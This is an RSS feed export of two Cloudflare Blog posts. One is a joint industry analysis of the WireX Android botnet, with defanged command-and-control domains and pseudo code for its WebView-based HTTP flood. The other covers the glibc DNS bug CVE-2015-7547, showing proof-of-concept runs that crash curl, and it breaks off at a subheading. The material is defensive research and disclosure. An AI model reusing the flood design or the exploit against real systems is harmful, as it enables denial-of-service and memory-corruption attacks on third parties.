
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
    <channel>
        <title><![CDATA[ The Cloudflare Blog ]]></title>
        <description><![CDATA[ Get the latest news on how products at Cloudflare are built, technologies used, and join the teams helping to build a better Internet. ]]></description>
        <link>https://blog.cloudflare.com</link>
        <atom:link href="https://blog.cloudflare.com/" rel="self" type="application/rss+xml"/>
        <language>en-us</language>
        <image>
            <url>https://blog.cloudflare.com/favicon.png</url>
            <title>The Cloudflare Blog</title>
            <link>https://blog.cloudflare.com</link>
        </image>
        <lastBuildDate>Sun, 05 Apr 2026 21:25:02 GMT</lastBuildDate>
        <item>
            <title><![CDATA[The WireX Botnet: How Industry Collaboration Disrupted a DDoS Attack]]></title>
            <link>https://blog.cloudflare.com/the-wirex-botnet/</link>
            <pubDate>Mon, 28 Aug 2017 14:00:07 GMT</pubDate>
            <description><![CDATA[ On August 17th, 2017, multiple Content Delivery Networks (CDNs) and content providers were subject to significant attacks from a botnet dubbed WireX.  ]]></description>
            <content:encoded><![CDATA[ <h6>Updated October 2017: The Cyberwire Research Saturday Podcast:</h6>
    <div>
      <h3>Introduction</h3>
      <a href="#introduction">
        
      </a>
    </div>
    <p>On August 17th, 2017, multiple <a href="https://www.cloudflare.com/learning/cdn/what-is-a-cdn/">Content Delivery Networks (CDNs)</a> and content providers were subject to significant attacks from a botnet dubbed WireX. The botnet is named for an anagram for one of the delimiter strings in its command and control protocol. The WireX botnet comprises primarily Android devices running malicious applications and is designed to create DDoS traffic. The botnet is sometimes associated with ransom notes to targets.</p><p>A few days ago, Google was alerted that this malware was available on its Play Store. Shortly following the notification, Google removed hundreds of affected applications and started the process to remove the applications from all devices.</p><p>Researchers from <a href="https://blogs.akamai.com/2017/08/the-wirex-botnet-an-example-of-cross-organizational-cooperation.html">Akamai</a>, <a href="/the-wirex-botnet/">Cloudflare</a>, <a href="https://www.flashpoint-intel.com/blog/wirex-botnet-industry-collaboration/">Flashpoint</a>, Google, Oracle Dyn, <a href="https://www.riskiq.com/blog/labs/wirex-botnet">RiskIQ</a>, Team Cymru, and other organizations cooperated to combat this botnet. Evidence indicates that the botnet may have been active as early as August 2nd, but it was the attacks on August 17th that drew the attention of these organizations. This post represents the combined knowledge and efforts of the researchers working to share information about a botnet in the best interest of the internet community as a whole. This blog post was written together by researchers from numerous organizations and released concurrently by Akamai, Cloudflare, Flashpoint, and RiskIQ.</p>
    <div>
      <h3>Attack details</h3>
      <a href="#attack-details">
        
      </a>
    </div>
    <p>The first available indicators of the WireX botnet appeared on August 2nd as minor attacks that went unnoticed at the time. It wasn’t discovered until researchers began searching for the 26 character User-Agent string in logs. These initial attacks were minimal and suggest that the malware was in development or in the early stages of deployment. More prolonged attacks have been identified starting on August 15th, with some events sourced from a minimum of 70,000 concurrent IP addresses, as shown in <code>Figure 1</code>.</p><p>WireX is a volumetric DDoS attack at the application layer. The traffic generated by the attack nodes is primarily HTTP <code>GET</code> requests, though some variants appears to be capable of issuing <code>POST</code> requests. In other words, the botnet produces traffic resembling valid requests from generic HTTP clients and web browsers.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/REM0u6wLGY9xlnYtkAOa6/790090263389a05dc6ae3a3655a271cb/ua26-uniques-1.png" />
            
            </figure><p>Figure 1: Estimated growth of the botnet based on the count of unique IPs per hour observed participating in attacks.</p><p>During initial observation, the majority of the traffic from this botnet was distinguished by the use of an HTTP Request’s User-Agent string containing the lowercase English alphabet characters, in random order.</p><p>Some of the User-Agent values seen:</p>
            <pre><code>User-Agent: jigpuzbcomkenhvladtwysqfxr
User-Agent: yudjmikcvzoqwsbflghtxpanre
User-Agent: mckvhaflwzbderiysoguxnqtpj
User-Agent: deogjvtynmcxzwfsbahirukqpl
User-Agent: fdmjczoeyarnuqkbgtlivsxhwp
User-Agent: yczfxlrenuqtwmavhojpigkdsb
User-Agent: dnlseufokcgvmajqzpbtrwyxih</code></pre>
            <p>Variants of the malware have also been observed emitting User-Agent strings of varying length and expanded character sets, sometimes including common browser User-Agents. Here are some samples of other User-Agents observed:</p>
            <pre><code>User-Agent: xlw2ibhqg0i
User-Agent: bg5pdrxhka2sjr1g
User-Agent: 5z5z39iit9damit5czrxf655ok060d544ytvx25g19hcg18jpo8vk3q
User-Agent: fge26sd5e1vnyp3bdmc6ie0
User-Agent: m8al87qi9z5cqlwc8mb7ug85g47u
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20071018 BonEcho/2.0.0.7
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2</code></pre>
            
    <div>
      <h3>Tracing the nodes</h3>
      <a href="#tracing-the-nodes">
        
      </a>
    </div>
    <p>Analysis of the incoming attack data for the August 17th attack revealed that devices from more than 100 countries participated, an uncharacteristic trait for current botnets. The distribution of the attacking IPs along with the distinctive User-Agent string led the researchers who began the initial investigation to believe that other organizations may have seen or would be likely to experience similar attacks. The researchers reached out to peers in other organizations for verification of what they were seeing.</p><p>Once the larger collaborative effort began, the investigation began to unfold rapidly starting with the investigation of historic log information, which revealed a connection between the attacking IPs and <b><i>something</i></b> malicious, possibly running on top of the Android operating system.</p><p>In the wake of the Mirai attacks, information sharing groups have seen a resurgence, where researchers share situation reports and, when necessary, collaborate to solve Internet-wide problems. Further, WannaCry, Petya and other global events have only strengthened the value of this collaboration. Many information sharing groups, such as this one, are purely informal communications amongst peers across the industry.</p>
    <div>
      <h3>Finding the software</h3>
      <a href="#finding-the-software">
        
      </a>
    </div>
    <p>Investigation of the logs from attacks on August 17th revealed previous attacks meeting the same signature implicated the first Android application, <code>“twdlphqg_v1.3.5_apkpure.com.apk”</code>. Researchers quickly grabbed examples of the application to understand how it works and determine if related applications might exist. Searches using variations of the application name and parameters in the application bundle revealed multiple additional applications from the same, or similarly named authors, with comparable descriptions, as shown in <code>Figure 2</code>. As new applications were located, others on the team began to dig into the binaries to learn how they worked.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4TEJmGEHsBUq1MnX5TSRg1/6c72a640d98e80031e6448dec9b88ddc/apk_author.png" />
            
            </figure><p>Figure 2: A screenshot of one of the searches for similar malware.</p><p>There were few cases where these applications were found in well known and pre-configured app stores for mobile devices. Whenever possible, the abuse teams for these app stores, like Google, were contacted and worked expediently to remove the offending content. Google provided the following comment in response to this research:</p><blockquote><p>We identified approximately 300 apps associated with the issue, blocked them from the Play Store, and we’re in the process of removing them from all affected devices. The researchers' findings, combined with our own analysis, have enabled us to better protect Android users, everywhere.</p></blockquote>
    <div>
      <h3>Malware overview</h3>
      <a href="#malware-overview">
        
      </a>
    </div>
    <p>Many of the identified applications fell into the categories of media/video players, ringtones or tools such as storage managers and app stores with additional hidden features that were not readily apparent to the end users that were infected. At the launch of the applications, the nefarious components begin their work by starting the command and control polling service which queries the command and control server, most commonly <code>g[.]axclick[.]store</code>, for attack commands. When attack commands are received, the parsing service inspects the raw attack command, parses it and invokes the attacking service with the extracted parameters.</p><p>The applications that housed these attack functions, while malicious, appeared to be benign to the users who had installed them. These applications also took advantage of features of the Android service architecture allowing applications to use system resources, even while in the background, and are thus able to launch attacks when the application is not in use. Antivirus scanners currently recognize this malware as the “Android Clicker” trojan, but this campaign’s purpose has nothing to do with click fraud. It is likely that this malware used to be related to click fraud, but was repurposed for DDoS.</p><p>An in-depth overview of the internals of the rogue components of the applications can be found in <code>Appendix 1</code>.</p>
    <div>
      <h3>Conclusion</h3>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>These discoveries were only possible due to open collaboration between DDoS targets, DDoS mitigation companies, and intelligence firms. Every player had a different piece of the puzzle; without contributions from everyone, this botnet would have remained a mystery.</p><p>The best thing that organizations can do when under a DDoS attack is to share detailed metrics related to the attack. With this information, those of us who are empowered to dismantle these schemes can learn much more about them than would otherwise be possible.</p><p>These metrics include packet captures, lists of attacking IP addresses, ransom notes, request headers, and any patterns of interest. Such data should not contain any legitimate client traffic, to reduce privacy concerns and also because legitimate traffic can pollute and slow down analysis. And most importantly, give permission to share this data—not only to your vendors, but to their trusted contacts in the broader security community who may have expertise or visibility not available in your own circle of vendors.</p><p>There is no shame in asking for help. Not only is there no shame, but in most cases it is impossible to hide the fact that you are under a DDoS attack. A number of research efforts have the ability to detect the existence of DDoS attacks happening globally against third parties no matter how much those parties want to keep the issue quiet. There are few benefits to being secretive and numerous benefits to being forthcoming.</p><p>Sharing detailed attack metrics also allows for both formal and informal information sharing groups to communicate about and understand the attacks that are happening at a global scale, rather than simply what they see on their own platforms. This report is an example of how informal sharing can have a dramatically positive impact for the victims and the Internet as a whole. Cross-organizational cooperation is essential to combat threats to the Internet and, without it, criminal schemes can operate without examination.</p><p>We would like to acknowledge and thank the researchers at Akamai, Cloudflare, Flashpoint, Google, RiskIQ, Team Cymru, and other organizations not publicly listed. We would also like to thank the FBI for their assistance in this matter.</p><h6>Authors &amp; Researchers</h6><ul><li><p>Tim April : Senior Security Architect @ Akamai</p></li><li><p>Chris Baker : Principal of Threat Intelligence @ Oracle Dyn</p></li><li><p>Matt Carothers</p></li><li><p>Jaime Cochran : Security Analyst @ Cloudflare</p></li><li><p>Marek Majkowski : Enthusiastic Geek @ Cloudflare</p></li><li><p>Jared Mauch : Internetworking Research and Architecture @ Akamai</p></li><li><p>Allison Nixon : Director of Security Research @ Flashpoint</p></li><li><p>Justin Paine : Head Of Trust &amp; Safety @ Cloudflare</p></li><li><p>Chad Seaman : Sen. Security Intelligence Response Team Engineer @ Akamai SIRT</p></li><li><p>Darren Spruell : Threat Researcher @ RiskIQ</p></li><li><p>Zach Wikholm : Research Developer @ Flashpoint</p></li><li><p>And others</p></li></ul>
    <div>
      <h3>Appendix A: Analysis of the Malware</h3>
      <a href="#appendix-a-analysis-of-the-malware">
        
      </a>
    </div>
    
    <div>
      <h4>Identifying C2 domains</h4>
      <a href="#identifying-c2-domains">
        
      </a>
    </div>
    <p>Inspection of various decompiled applications revealed multiple sub-domains of a single root domain (<code>axclick[.]store</code>) that were suspected of being a part of the command and control (C2) infrastructure for the botnet.</p>
            <pre><code>$ grep http * -R
com/twdlphqg/app/ExplorationActivity.smali:    const-string v3, "http://u[.]axclick[.]store/"
com/twdlphqg/app/services/Ryiidrxcjmfb.smali:    const-string v1, "http://g[.]axclick[.]store/"</code></pre>
            <p>The first domain (<code>u[.]axclick[.]store</code>) did not return content; it simply returned an empty response with a <code>200 OK</code> status code and appeared to be used for basic Internet connectivity testing.</p><p>The second domain (<code>g[.]axclick[.]store</code>) appeared to be linked to the DDoS components of the malware. The component of the application referencing this domain was responsible for creating an Android <code>Service</code> equipped with two WebView instances. The first <code>WebView</code> instance serves as the C2 beacon, polling the C2 server for attack directives. The second serves as a reference to clone <code>WebView</code> objects for attacking. This component also contains the basic logic for spinning up and configuring these attacking instances.</p><p>There are multiple other interesting components in play here, all with unique roles. The first component types discussed here serve as the basic, always-on, persistent execution mechanisms. Some applications utilized Service objects instantiated using the <code>android/os/Handler-&gt;postDelayed</code> functionality. This essentially causes the app to persist via a <code>Service</code> that polls the C2 server on a regular interval -- even while the application is backgrounded. Other variations of the application utilized <code>AsyncTask</code> objects in attempts to achieve the same goal.</p><p>The second component is a <code>WebViewClient</code> that serves as the C2 attack directive parser. It is responsible for detecting <code>onPageFinished</code> events from the C2 <code>WebView</code> instance being controlled by the polling service and parsing whatever command is returned. When an attack command is successfully parsed, this component is responsible for calling the function that ultimately launches the attack traffic.</p>
    <div>
      <h3>Overview of Components</h3>
      <a href="#overview-of-components">
        
      </a>
    </div>
    <p>Below we’ll cover the relevant pieces individually, using pseudo code based on knowledge gathered from the decompiled APK(s). We’ll then talk about what the pseudo code is doing in more detail as it relates to attack commands and techniques.</p>
    <div>
      <h5>Service Runner</h5>
      <a href="#service-runner">
        
      </a>
    </div>
    <p>The <code>ServiceRunner</code> component’s role is a means of persistent background execution by injecting the <code>Runnable</code> object type into a timed <code>OS Handler</code>. Because of the nature of a Service in Android environments, the malware can continue to keep running once the app has been launched and placed in the background. Execution will only stop if application is actively terminated by the mobile device user or in the event of a device restart.</p>
            <pre><code>Service Runner Pseudo Code
Class ServiceRunner extends Object {
    Public function run() {
        DDoS_Service-&gt;poll_c2();
    }
}</code></pre>
            
    <div>
      <h4>C2 Response Parser</h4>
      <a href="#c2-response-parser">
        
      </a>
    </div>
    <p>The <code>AttackCommandParser</code> serves as the callback that is triggered when the C2 <code>WebView</code> detects that a page load has occurred. The parser loads the page’s content and extracts the <code>&lt;title&gt;</code> body as the attack command. Based on observed samples, a payload from the C2 looks like this:</p>
            <pre><code>&lt;html&gt;
  &lt;title&gt;
  https://A_TARGETED_WEBSITE/snewxwriA_USER_AGENT_STRINGsnewxwrihttps://A_REFER_HEADER_VALUE/
  &lt;/title&gt;
&lt;/html&gt;</code></pre>
            <p>Figure 3: Attack Directive Sample</p><p>The value extracted from the <code>&lt;title&gt;</code> tag is then tested via <code>String-&gt;contains()</code> to ensure it contains the value token delimiter <code>snewxwri</code>. If the delimiter is found, the content is trimmed of leading or trailing whitespace and then <code>split()</code> into an <code>Array</code> of pieces on the delimiter. The resulting tokens are then used as parameters to be passed to the <code>DDoS_Service-&gt;attack()</code> method.</p>
    <div>
      <h5>C2 Response Parser Pseudo Code</h5>
      <a href="#c2-response-parser-pseudo-code">
        
      </a>
    </div>
    
            <pre><code>Class AttackCommandParser extends WebViewClient {
    Public function onPageFinished(C2_WebView,C2_url) {
        String pageTitle = C2_WebView-&gt;getTitle();
        if (pageTitle-&gt;contains(“snewxwri”) == true) {
            pageTitle = pageTitle-&gt;trim();
            Array commandParts = pageTitle.split(“snewxwri”);
            String target = commandParts[0];
            String userAgent = commandParts[1];
            String referer = commandParts[2];
            DDoS_Service-&gt;attack(target, userAgent, referer);
        }
    }
}</code></pre>
            
    <div>
      <h4>DDoS Service</h4>
      <a href="#ddos-service">
        
      </a>
    </div>
    <p>The <code>DDoS_Service</code> component is what runs the show. It has 3 core functions. These responsibilities are to get the Service up and running, provide the <code>poll_c2()</code> method for loading the C2 <code>WebView</code>, and most importantly -- launching attacks. We’ll look at these responsibilities one at a time after presenting the pseudo code.</p>
    <div>
      <h4>DDoS Service Pseudo Code</h4>
      <a href="#ddos-service-pseudo-code">
        
      </a>
    </div>
    
            <pre><code>Class DDoS_Service extends Object {
    Public function onCreate() {
        Handler OS_Handler = new Handler();
        Object Runner = new ServiceRunner();
        OS_Handler-&gt;postDelayed(Runner,2);
    }
    Public function poll_c2() {
        WebViewClient C2_Parser = new AttackCommandParser();
        WebView C2_WebView = new WebView();
        WebViewSettings C2_WebView_Settings = C2_WebView-&gt;getSettings();
        C2_WebView_Settings-&gt;setCacheMode(LOAD_NO_CACHE);
        C2_WebView-&gt;clearCache(true);
        C2_WebView-&gt;clearHistory();
        C2_WebView-&gt;setWebViewClient(C2_Parser);
        C2_WebView-&gt;loadUrl(“http://g[.]axclick[.]store”);
    }
    Public function attack(String target, String userAgent, String referer) {
        HashMap WebViewHeaders = new HashMap();
        WebViewHeaders-&gt;put(“Referer”,referer);
        WebViewHeaders-&gt;put(“X-Requested-With”,””);
        WebView[] AttackerViews = new WebView[100];
        for (int i=0; i&lt;AttackerViews.length; i++) {
            AttackerViews[i] = new WebView();
            AttackerViews[i]-&gt;clearHistory();
            AttackerViews[i]-&gt;clearFormData();
            AttackerViews[i]-&gt;clearCache(true);
            WebViewSettings AttackWebViewSettings = AttackerViews[i]-&gt;getSettings();
            AttackWebViewSettings-&gt;setJavaScriptEnabled(true);
            AttackWebViewSettings-&gt;setUserAgentString(userAgent);
            AttackWebViewSettings-&gt;setCacheMode(LOAD_NO_CACHE);
            this-&gt;deleteDatabase(“webview.db”);
            this-&gt;deleteDatabase(“webviewCache.db”);
            AttackerViews[i]-&gt;loadUrl(target,WebViewHeaders);
        }
    }
}</code></pre>
            
    <div>
      <h5>DDoS Service onCreate()</h5>
      <a href="#ddos-service-oncreate">
        
      </a>
    </div>
    <p>The <code>onCreate()</code> method is straightforward: it creates a new <code>android/os/Handler</code> and <code>ServiceRunner</code> instance. The <code>ServiceRunner</code> instance is then hooked into the Handler via a call to <code>postDelayed()</code>. According to <a href="https://developer.android.com/reference/android/os/Handler.html#postDelayed(java.lang.Runnable,%20long)">Android documentation</a>, this “Causes the Runnable r to be added to the message queue, to be run after the specified amount of time elapses.” The second parameter to this method call is the number of milliseconds before the Runnable is invoked. In this sample that value is <code>2</code>, which is a very aggressive timing strategy.</p>
    <div>
      <h5>DDoS Service poll_c2()</h5>
      <a href="#ddos-service-poll_c2">
        
      </a>
    </div>
    <p>The <code>poll_c2()</code> method is responsible for continually reloading the <code>WebView</code> with the C2 URL while also hooking the <code>AttackCommandParser WebViewClient</code> into the poller <code>WebView</code> instance. Before polling the C2 domains, the service will clear and disable the cache as well as clear the <code>WebView</code> instance history. These steps are performed to ensure that the client is always getting up-to-date information from the C2 and not being served cache hits from the local device. We’ll see this tactic reused during the analysis of the <code>attack()</code> method as well.</p>
    <div>
      <h5>DDoS Service attack()</h5>
      <a href="#ddos-service-attack">
        
      </a>
    </div>
    
            <pre><code>Public function attack(String target, String userAgent, String referer) {
    HashMap WebViewHeaders = new HashMap();
    WebViewHeaders-&gt;put(“Referer”,referer);
    WebViewHeaders-&gt;put(“X-Requested-With”,””);    
    WebView[] AttackerViews = new WebView[100];
    for (int i=0; i&lt;AttackerViews.length; i++) {
        AttackerViews[i] = new WebView();
        AttackerViews[i]-&gt;clearHistory();
        AttackerViews[i]-&gt;clearFormData();
        AttackerViews[i]-&gt;clearCache(true);
        WebViewSettings AttackWebViewSettings = AttackerViews[i]-&gt;getSettings();
        AttackWebViewSettings-&gt;setJavaScriptEnabled(true);
        AttackWebViewSettings-&gt;setUserAgentString(userAgent);
        AttackWebViewSettings-&gt;setCacheMode(LOAD_NO_CACHE);
        this-&gt;deleteDatabase(“webview.db”);
        this-&gt;deleteDatabase(“webviewCache.db”);
        AttackerViews[i]-&gt;loadUrl(target,WebViewHeaders);
    }
} </code></pre>
            <p>The <code>attack()</code> method is responsible for generating the actual attack traffic. The <code>AttackCommandParser-&gt;onPageFinished()</code> that was previously discussed will pass in the target, userAgent, and referer values that were handed out by the last C2 interaction. This method will create a <code>HashMap</code> object that will configure the HTTP Headers used during the attack.</p><p>The first header is the HTTP Referer, which as we know was supplied by the C2 server. In all observed cases, this value was a mirror value of the actual target. The second header is the <code>X-Requested-With</code> header; although the <code>WebView</code> would usually have a default value,it is overwritten with a blank value. Typically this header coming from an embedded <code>WebView</code> would contain information about the Android application such as <code>com.[app_author].app</code>. It’s likely that this Header was blanked specifically to obfuscate who or what was generating the attack traffic that would be seen by the target.</p><p>Once the headers are configured, an empty Array of <code>WebView</code> place holders is instantiated, followed by a loop to fill this Array with actual <code>WebView</code> instances. Each instance goes through the same set of configuration processes. The <code>WebView</code> instances created will have their history, saved form data, and cache cleared. The JavaScript capabilities are enabled (this is typically disabled by default for embedded <code>WebViews</code>), the <code>User-Agent</code> string that will be present in the HTTP Headers is overwritten with the value supplied by the C2 attack directive, and the <code>CacheMode</code> set to <code>LOAD_NO_CACHE</code>, which will force the browser instance to bypass local caches and fetch the target URL for each request.</p><p>In a final attempt to ensure that no cache hits will occur on the device and a that request will be sent to the target, the application also deletes its local <code>webview.db</code> and <code>webviewCache.db</code> files from the device before loading each request.</p><p>Finally we see the <code>loadUrl()</code> method is called on the newly configured <code>WebView</code> instance using the target URL and customized <code>WebViewHeaders</code> <code>HashMap</code>.</p>
    <div>
      <h5>Running the Malware-User Experience</h5>
      <a href="#running-the-malware-user-experience">
        
      </a>
    </div>
    <p>While many of the identified apps had already been removed from the Google Play store, mirrors remained online from which we could download the APK files. We loaded <code>“twdlphqg”</code> (one of the attacking apps) onto a freshly-reset physical Samsung Galaxy S4 that had been running Lollipop and security patches from 2015.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/ETzFn5WHTLlVXmA9Kzi4o/9c6671262b124865463d5a1f0bda0ef0/pasted-image-0.png" />
            
            </figure>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2v1TNEdxet4wi6hnoJoayr/d43bbfcd1ff4ed73059620e1f9eb074b/pasted-image-1.png" />
            
            </figure><p>This app, along with the others we tested, used innocuous-sounding names like “Device Analysis”, “Data Storage” “Package Manager”, and so forth.</p><p>When the app is run, it appears to be a very basic ringtone app. Only three ringtones are provided. The app can play and set ringtones but has no other functionality.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6TIcLzJUpSDJU3lzogmBI0/bf630b2431588e2db65c387ef05c1e31/pasted-image-2.png" />
            
            </figure><p>In the background, this app spawns additional processes that continue to run even while the phone’s screen is locked. This allows the app to launch DDoS attacks from the phone in the background. When we left the phone on a charger and let it go to sleep, it continued to launch DDoS attacks.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/tG7zkextxpNH66xTHHHS0/1283597f76a55f603e9532a68ca01814/pasted-image-3.png" />
            
            </figure><p>Notably, it is no longer possible to install this application as Google’s PlayProtect feature now blocks this app from being installed. Google is also removing it from devices that already have it installed. All of the applications we tested that were part of this campaign produced this block message; disabling PlayProtect was necessary to run the malware.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/qXojWzQqkV1aOZxInvurc/2d7006b340d7249378011d521990fb8d/pasted-image-4.png" />
            
            </figure>
    <div>
      <h5>Ring Ring! DDoS! - Variations in Malicious Apps</h5>
      <a href="#ring-ring-ddos-variations-in-malicious-apps">
        
      </a>
    </div>
    <p>We tested multiple applications from this campaign. There were different variations in behavior and user interface and they weren’t all ringtone apps. All tests were conducted on the same phone.</p>
    <div>
      <h5>Xryufrix</h5>
      <a href="#xryufrix">
        
      </a>
    </div>
    <p><code>Xryufrix</code> was the top hitter from the DDoS statistics, but when run, its performance was underwhelming. It’s possible there was a compatability issue <a href="https://www.cloudflare.com/learning/ddos/how-to-prevent-ddos-attacks/">preventing</a> it from reaching its full DDoS potential. This app asked for fewer permissions upon initial install, but did ask for the same lock screen related device administrator permissions as <code>twdlphqg</code>. This one pretended to be a YouTube app. When it first opens, it queries the axclick domain for the DDoS attack commands as well as a <code>GET</code> request against <code>p[.]axclick[.]store/?utm_source=tfikztteuic</code>, which returns the Play Store URL of a different app located at <code>market://details?id=com[.]luckybooster[.]app</code>. When the user attempts to play a Youtube video, this app closes, deletes its icon from the app list, and makes itself impossible to execute afterwards, which is possibly the result of a crash. It also opens the Play store download link for the “Luckybooster” app, which did not DDoS when it was run. The <code>xryufrix</code> app does not launch DDoS attacks while the phone is asleep nor does it launch DDoS attacks at any time other than when the app is active.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/784KM2wBUCQUAIOrUcHOdC/3e73b3943ec966d560bf122f64b095fe/pasted-image-5.png" />
            
            </figure>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4gJHtxJlt13dCfIp5NneTB/804b2dadb016d3b83e6a8274110978a2/pasted-image-6.png" />
            
            </figure>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5iERKmmJavmKn6WEkv0v7C/3fdcaa032ad3eac79a470ca925d46444/pasted-image-7.png" />
            
            </figure> ]]></content:encoded>
            <category><![CDATA[DDoS]]></category>
            <category><![CDATA[Attacks]]></category>
            <category><![CDATA[Programming]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Bots]]></category>
            <category><![CDATA[Speed & Reliability]]></category>
            <guid isPermaLink="false">1L0SzcQOQtqYhVdYiKE08i</guid>
            <dc:creator>Jaime Cochran</dc:creator>
        </item>
        <item>
            <title><![CDATA[A tale of a DNS exploit: CVE-2015-7547]]></title>
            <link>https://blog.cloudflare.com/a-tale-of-a-dns-exploit-cve-2015-7547/</link>
            <pubDate>Mon, 29 Feb 2016 13:42:19 GMT</pubDate>
            <description><![CDATA[ A buffer overflow error in GNU libc DNS stub resolver code was announced last week as CVE-2015-7547. While it doesn't have any nickname yet (last year's Ghost was more catchy), it is potentially disastrous. ]]></description>
            <content:encoded><![CDATA[ <p><i>This post was written by Marek Vavruša and Jaime Cochran, who found out they were both independently working on the same glibc vulnerability attack vectors at 3am last Tuesday.</i></p><p>A buffer overflow error in GNU libc DNS stub resolver code was <a href="https://sourceware.org/ml/libc-alpha/2016-02/msg00416.html">announced last week</a> as <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7547">CVE-2015-7547</a>. While it doesn't have any nickname yet (last year's <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-0235">Ghost</a> was more catchy), it is potentially disastrous as it affects any platform with recent GNU libc—CPEs, load balancers, servers and personal computers alike. The big question is: how exploitable is it in the real world?</p><p>It turns out that the only mitigation that works is patching. Please patch your systems <i>now</i>, then come back and read this blog post to understand why attempting to mitigate this attack by limiting DNS response sizes does not work.</p><p>But first, patch!</p>
    <div>
      <h3>On-Path Attacker</h3>
      <a href="#on-path-attacker">
        
      </a>
    </div>
    <p>Let's start with the <a href="https://github.com/fjserna/CVE-2015-7547">PoC from Google</a>, it uses the first attack vector described in the vulnerability announcement. First, a 2048-byte UDP response forces buffer allocation, then a failure response forces a retry, and finally the last two answers smash the stack.</p>
            <pre><code>$ echo "nameserver 127.0.0.1" | sudo tee /etc/resolv.conf
$ sudo python poc.py &amp;
$ valgrind curl http://foo.bar.google.com
==17897== Invalid read of size 1
==17897==    at 0x59F9C55: __libc_res_nquery (res_query.c:264)
==17897==    by 0x59FA20F: __libc_res_nquerydomain (res_query.c:591)
==17897==    by 0x59FA7A8: __libc_res_nsearch (res_query.c:381)
==17897==    by 0x57EEAAA: _nss_dns_gethostbyname4_r (dns-host.c:315)
==17897==    by 0x4242424242424241: ???
==17897==  Address 0x4242424242424245 is not stack'd, malloc'd or (recently) free'd
Segmentation fault</code></pre>
            <p>This proof of concept requires attacker talking with glibc stub resolver code either directly or through a simple forwarder. This situation happens when your DNS traffic is intercepted or when you’re using an untrusted network.</p><p>One of the suggested mitigations in the announcement was to limit UDP response size to 2048 bytes, 1024 in case of TCP. Limiting UDP is, with all due respect, completely ineffective and only forces legitimate queries to retry over TCP. Limiting TCP answers is a plain protocol violation that cripples legitimate answers:</p>
            <pre><code>$ dig @b.gtld-servers.net +tcp +dnssec NS root-servers.net | grep "MSG SIZE"
;; MSG SIZE  rcvd: 1254</code></pre>
            <p>Regardless, let's see if response size clipping is effective at all. When calculating size limits, we have to take IP4 headers into account (20 octets), and also the UDP header overhead (8 octets), leading to a maximum allowed datagram size of 2076 octets. DNS/TCP may arrive fragmented—for the sake of argument, let's drop DNS/TCP altogether.</p>
            <pre><code>$ sudo iptables -I INPUT -p udp --sport 53 -m length --length 2077:65535 -j DROP
$ sudo iptables -I INPUT -p tcp --sport 53 -j DROP
$ valgrind curl http://foo.bar.google.com
curl: (6) Could not resolve host: foo.bar.google.com</code></pre>
            <p>Looks like we've mitigated the first attack method, albeit with collateral damage. But what about the UDP-only <a href="https://gist.github.com/vavrusa/86efa3ac7ee89eab14c2#file-poc-udponly-py">proof of concept</a>?</p>
            <pre><code>$ echo "nameserver 127.0.0.10" | sudo tee /etc/resolv.conf
$ sudo python poc-udponly.py &amp;
$ valgrind curl http://foo.bar.google.com
==18293== Syscall param socketcall.recvfrom(buf) points to unaddressable byte(s)
==18293==    at 0x4F1E8C3: __recvfrom_nocancel (syscall-template.S:81)
==18293==    by 0x59FBFD0: send_dg (res_send.c:1259)
==18293==    by 0x59FBFD0: __libc_res_nsend (res_send.c:557)
==18293==    by 0x59F9C0B: __libc_res_nquery (res_query.c:227)
==18293==    by 0x59FA20F: __libc_res_nquerydomain (res_query.c:591)
==18293==    by 0x59FA7A8: __libc_res_nsearch (res_query.c:381)
==18293==    by 0x57EEAAA: _nss_dns_gethostbyname4_r (dns-host.c:315)
==18293==    by 0x4F08AA0: gaih_inet (getaddrinfo.c:862)
==18293==    by 0x4F0AC4C: getaddrinfo (getaddrinfo.c:2418)
==18293==  Address 0xfff001000 is not stack'd, malloc'd or (recently) free'd
*** Error in `curl': double free or corruption (out): 0x00007fe7331b2e00 ***
Aborted</code></pre>
            <p>While it's not possible to ship a whole attack payload in 2048 UDP response size, it still leads to memory corruption. When the announcement suggested blocking DNS UDP responses larger than 2048 bytes as a viable mitigation, it confused a <a href="https://blog.des.no/2016/02/freebsd-and-cve-2015-7547/">lot of people</a>, including other <a href="http://blog.powerdns.com/2016/02/17/powerdns-cve-2015-7547-possible-mitigation/">DNS vendors</a> and ourselves. This, and the following proof of concept show that it's not only futile, but harmful in long term if these rules are left enabled.</p><p>So far, the presented attacks required a MitM scenario, where the attacker talks to a glibc resolver directly. A "good enough" mitigation is to run a local caching resolver, to isolate glibc code from the attacker. In fact, doing so not only improves the Internet performance with a local cache, but also prevents past and possibly future security vulnerabilities.</p>
    <div>
      <h4>Is a caching stub resolver really good enough?</h4>
      <a href="#is-a-caching-stub-resolver-really-good-enough">
        
      </a>
    </div>
